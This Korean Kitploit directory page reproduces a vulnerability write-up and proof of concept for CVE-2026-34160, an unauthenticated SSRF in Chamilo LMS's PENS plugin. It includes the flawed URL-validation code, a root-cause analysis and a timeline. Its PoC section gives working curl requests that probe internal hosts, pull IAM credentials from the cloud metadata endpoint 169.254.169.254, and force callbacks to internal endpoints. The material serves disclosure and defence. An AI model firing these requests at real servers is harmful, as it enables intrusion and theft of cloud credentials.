Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-34160 — Chamilo LMS PENS 플러그인에 대한 인증되지 않은 SSRF 익스플로잇으로, 내부 네트워크와 클라우드 메타데이터에 접근하는 두 가지 벡터를 시연하며, PoC와 근본 원인 분석을 포함합니다. | Kitploit
도구/GitHubGitHub/romain-deperne/cve-2026-34160
ReconnaissanceVulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration Testing
GitHubromain-deperne/cve-2026-34160

CVE-2026-34160

Chamilo LMS PENS 플러그인에 대한 인증되지 않은 SSRF 익스플로잇으로, 내부 네트워크와 클라우드 메타데이터에 접근하는 두 가지 벡터를 시연하며, PoC와 근본 원인 분석을 포함합니다.

저장소 보기
231개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-34160 — PENS 플러그인(pens.php)을 통한 Chamilo LMS의 인증되지 않은 SSRF

심각도: 높음 (CVSS 8.6) CWE: CWE-918 (서버 측 요청 위조) 영향 받는 버전: chamilo/chamilo-lms 2.0-RC.2 수정된 버전: 2.0-RC.3 보안 권고: GHSA-g2xj-4cch-j276 NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-34160 공로: Romain Deperne

요약

PENS(Package Exchange Notification Services) 플러그인 엔드포인트 public/plugin/Pens/pens.php는 인증 없이 접근할 수 있으며, 패키지 다운로드와 콜백 알림 모두에 대해 사용자가 제어하는 URL을 허용합니다. URL 검증 함수는 스킴과 호스트 존재 여부만 확인하고 사설 IP 필터링을 전혀 수행하지 않아, 인증되지 않은 공격자가 내부 네트워크와 클라우드 메타데이터 서비스로 SSRF를 수행할 수 있습니다.

분석

CVE-2026-33715 이후, 저는 네트워크 측 부작용이 있는 다른 인증되지 않은 Chamilo 엔드포인트들을 검토했습니다. PENS 플러그인(public/plugin/Pens/)은 외부 URL에서 패키지를 가져오고 외부 서버로 콜백을 전송하므로, 두 가지 SSRF 공격 표면을 만듭니다.

저는 URL 검증 로직을 찾기 위해 PensProcessor.php를 읽었습니다. isAllowedDownloadUrl()과 isAllowedCallbackUrl()은 모두 스킴(http/https)과 비어 있지 않은 호스트를 확인하는 것에서 멈춥니다. RFC 1918 필터링도, 루프백 검사도, 링크-로컬 검사도 없습니다. 주석에는 호스트 검사 후 "returns true"라고 적혀 있기까지 한데, 이는 이 코드가 SSRF를 염두에 두지 않고 작성되었음을 분명히 보여줍니다.

이 취약점이 이전 Chamilo CVE와 구별되는 점은 두 개의 독립적인 SSRF 벡터를 가진다는 것입니다. 하나는 패키지 가져오기용(서버가 공격자가 제어하는 URL에서 파일을 가져옴)이고, 다른 하나는 콜백용(서버가 공격자가 제어하는 엔드포인트로 POST를 전송함)입니다. 콜백 벡터는 서버가 PENS 상태 데이터를 지정한 URL로 POST하고 응답 파싱을 공격자가 제어할 수 있기 때문에, 내부 서비스 응답을 유출하는 데 특히 유용합니다.

클라우드 배포 환경에서는 169.254.169.254 메타데이터 엔드포인트에 두 벡터 모두를 통해 접근할 수 있습니다.

영향 받는 구성 요소

파일: public/plugin/Pens/lib/PensProcessor.php

두 가지 별개의 SSRF 벡터:

벡터 1 — 패키지 URL 가져오기 (376, 138행):

private function isAllowedDownloadUrl(string $url): bool
{
    $parts = parse_url($url);
    $scheme = strtolower((string) ($parts['scheme'] ?? ''));
    if (!in_array($scheme, ['http', 'https'], true)) { return false; }
    $host = strtolower((string) ($parts['host'] ?? ''));
    if ('' === $host) { return false; }
    return true;  // ← no private IP check
}

// Then fetched with curl:
curl_setopt($curlHandle, CURLOPT_URL, $request->getPackageUrl());
$result = curl_exec($curlHandle);

벡터 2 — 콜백 SSRF (318행): receipt 및 alerts 매개변수는 서버가 POST 콜백을 전송하는 URL을 지정하며, 동일하게 검증이 부재합니다.

근본 원인

isAllowedDownloadUrl() 및 isAllowedCallbackUrl()은 URL에 http/https 스킴과 비어 있지 않은 호스트가 있는지만 검증합니다. RFC 1918 사설 대역(10.x, 172.16.x, 192.168.x), 루프백(127.x), 링크 로컬(169.254.x — 클라우드 메타데이터), 그리고 이에 상응하는 IPv6 주소가 모두 허용됩니다.

PoC

# Vector 1: Probe internal network via package-url
curl -X POST "http://<target>/plugin/Pens/pens.php" \
  -d "pens-command=collect-package" \
  -d "package-url=http://192.168.1.1:80/" \
  -d "package-format=SCORM-2004-3rd" \
  -d "package-id=test-123" \
  -d "client=test" \
  -d "system-user=test"

# AWS metadata endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
  -d "pens-command=collect-package" \
  -d "package-url=http://169.254.169.254/latest/meta-data/iam/security-credentials/" \
  -d "package-format=SCORM-2004-3rd" \
  -d "package-id=test" \
  -d "client=test" \
  -d "system-user=test"

# Vector 2: Callback SSRF — server POSTs to attacker-controlled internal endpoint
curl -X POST "http://<target>/plugin/Pens/pens.php" \
  -d "pens-command=collect-package" \
  -d "package-url=http://example.com/legit.zip" \
  -d "receipt=http://10.0.0.50:8080/internal-endpoint" \
  -d "package-format=SCORM-2004-3rd" \
  -d "package-id=test" \
  -d "client=test" \
  -d "system-user=test"

영향

  1. 내부 네트워크로의 SSRF — 내부 호스트 및 서비스에 대한 인증 없는 프로브
  2. 클라우드 메타데이터 유출 — AWS/GCP/Azure 배포 환경에서 169.254.169.254를 통해 IAM 자격 증명 가져오기
  3. 콜백 SSRF — 서버가 임의의 내부 엔드포인트로 POST하도록 강제

참고: 이는 CVE-2022-27426(social/links 도구의 SSRF)과는 별개입니다 — 코드 경로가 다르고, 플러그인도 다르며, 인증이 필요 없습니다.

타임라인

  • 발견: 2026-03-22
  • 보고: GHSA-g2xj-4cch-j276 (비공개 권고)
  • CVE 게시: CVE-2026-34160
도구 다운로드